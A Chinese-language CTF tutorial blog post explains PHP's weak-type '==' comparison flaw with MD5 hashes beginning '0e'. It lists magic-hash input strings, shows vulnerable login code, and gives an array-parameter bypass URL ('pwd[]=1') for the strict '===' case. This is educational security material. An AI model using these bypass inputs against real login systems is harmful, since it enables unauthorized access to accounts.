zoukankan      html  css  js  c++  java
  • PHP弱类型hash比较缺陷

    成因分析:

    == 在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较

    0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

    因此CTF比赛中需要用到弱类型HASH比较缺陷最明显的标志便是管理员密码MD5之后的值是以0e开头

    利用方法:

    由漏洞成因我们可以分析出: 只要让我们输入的密码在经过函数加密之后是以0e开头即可

    附上一部分md5加密之后是以0e开头的值:

    ej0D
    ek06
    el08
    eo0n
    ey0M
    ey0O
    ez0s
    e006
    e10l
    eU3Z
    eW3vfSoL
    fToh
    fTo1
    fUoU
    fYou
    fapF
    fbpf
    fdpF
    fnpZ
    fppr
    fqpa
    frpj
    fwpD
    fyp5
    f1p2
    f4pN
    f7pu
    fDpQ
    fHpP
    fIp4
    fJpX
    fLpv
    fOpi
    fQp3
    fTpi
    fVpz
    feqN
    fjqN
    fvq1
    fyqy
    fAqJ
    fEqk
    fFqg
    fFqi
    fHqX
    fIqF
    fKqh
    fLq6
    fQq6
    fQqA
    fRql
    fUq4
    fUqA
    fXq0
    farg
    farJ
    ftrT
    f7rm
    fCrB
    fErY
    fIrt
    QNKCDZO
    s878926199a
    s155964671a
    s214587387a
    s214587387a
    s878926199a
    View Code

    例题示范:

    <?php
      $a = $_POST['pwd'];
      $password = "0e1998badb934bce65ad9ba8facc9121";  //注意:这里管理员密码md5的值是以0e开头的,如果没有看到0e而直接去解md5九成是解不出来的
      if(md5($a) == $password){  //注意:这里是两个等号"=="进行判断,若是"==="则不存在弱类型hash比较缺陷
        echo $flag;   } ?>

    在已知管理员密码md5值是以0e开头的前提下,观察代码逻辑,如果是使用"=="判断即可直接传入md5值是0e开头的任一密码

    若是"==="判断,则可以通过数组返回NULL的方法来绕过

    如下代码:

    <?php
      $a = $_GET['pwd'];
      $password = "0e1998badb934bce65ad9ba8facc9121"; 
      if(md5($a) === $password){  //注意:这里是三个等号"==="进行判断
        echo $flag;
      }
    ?>

    传入www.target.com/login.php?pwd[]=1就可以成功绕过判断。

    这样的方法也可以用来绕过sha1()等hash加密函数相关的判断,也可以绕过正则判断

  • 相关阅读:
    JAVA中对Cookie的操作
    springboot 快速开发的定制补充
    centos7 安装 mysql5.7 版本(全)
    springboot redis-cache 自动刷新缓存
    spring-data-redis-cache 使用及源码走读
    Redis 相关功能和实用命令(五)
    Redis 集群(三)
    Redis 主从,哨兵,集群实战(四)
    redis 主从复制和哨兵模式(二)
    导出 mysql 数据到 redis
  • 原文地址:https://www.cnblogs.com/yesec/p/12232075.html
Copyright © 2011-2022 走看看